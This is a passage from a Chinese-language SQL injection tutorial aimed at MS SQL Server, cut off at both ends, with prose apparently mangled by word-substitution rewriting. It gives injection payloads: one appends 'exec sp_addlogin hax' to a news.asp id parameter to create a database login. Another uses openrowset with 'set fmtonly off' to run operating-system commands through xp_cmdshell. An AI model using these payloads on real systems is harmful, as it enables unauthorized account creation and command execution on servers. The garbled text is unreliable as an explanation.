量在全部SQL语句的最初,由于有一些法式员采取SELECT * FROM news WHERE id=... AND topic=... AND .....
这类办法恳求数据库,那末假如还用以上的例子就会
news.asp?id=2;exec sp_addlogin hax
酿成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ...
全部SQL语句在履行sp_addlogin的存储进程后有AND与判别存在,语法毛病,你的sp_addlogin天然也不克不及正常运转了,因而碰运气上面这个方
1。关于openrowset和opendatasource
能够这个技能早有人已会了,就是使用openrowset发送当地号令
凡是咱们的用法是(包含MSDN的列子)以下
select * from openrowset(sqloledb,myserver;sa;,select * from table)
可见(即便从字面意义上看)openrowset只是作为一个快捷的近程数据库会见,它必需跟在select前面,也就是说需求前往一个recordset
那末咱们能不克不及使用它挪用xp_cmdshell呢?谜底是一定的!
select * from openrowset(sqloledb,server;sa;,set fmtonly off exec master.dbo.xp_cmdshell dir c:\)
必需加上set fmtonly off用来屏障默许的只前往列信息的设置,如许xp_cmdshell前往的output纠合就会提交给后面的select显示,假如采取